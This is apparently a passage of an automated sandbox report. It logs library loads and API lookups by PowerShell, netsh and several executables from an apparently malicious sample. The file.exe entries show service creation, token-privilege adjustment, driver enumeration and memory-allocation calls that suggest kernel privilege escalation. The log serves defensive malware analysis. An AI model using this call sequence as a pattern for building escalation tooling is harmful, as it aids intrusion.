%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00008084) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00008084) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00004512) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006552) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00003480) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00003480) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00003480) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003480)3e:T13c86,"file.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymSetOptions (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymInitialize (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymLoadModuleEx (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymCleanup (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymUnloadModule64 (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymGetTypeInfo (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymGetTypeFromName (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter SymFromName (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter OpenSCManagerA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CreateServiceA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter StartServiceA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter QueryServiceStatus (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter K32EnumDeviceDrivers (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter K32GetDeviceDriverBaseNameA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter DeviceIoControl (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter DeleteService (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter ControlService (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter RegSetValueExA (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00006548) "file.exe" called "GetProcAddress" with a parameter PsInitialSystemProcess (UID: 00000000-00006548) "uzbektajik.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006976) "uzbektajik.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006976) "helper.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006700) "helper.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00006700) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a 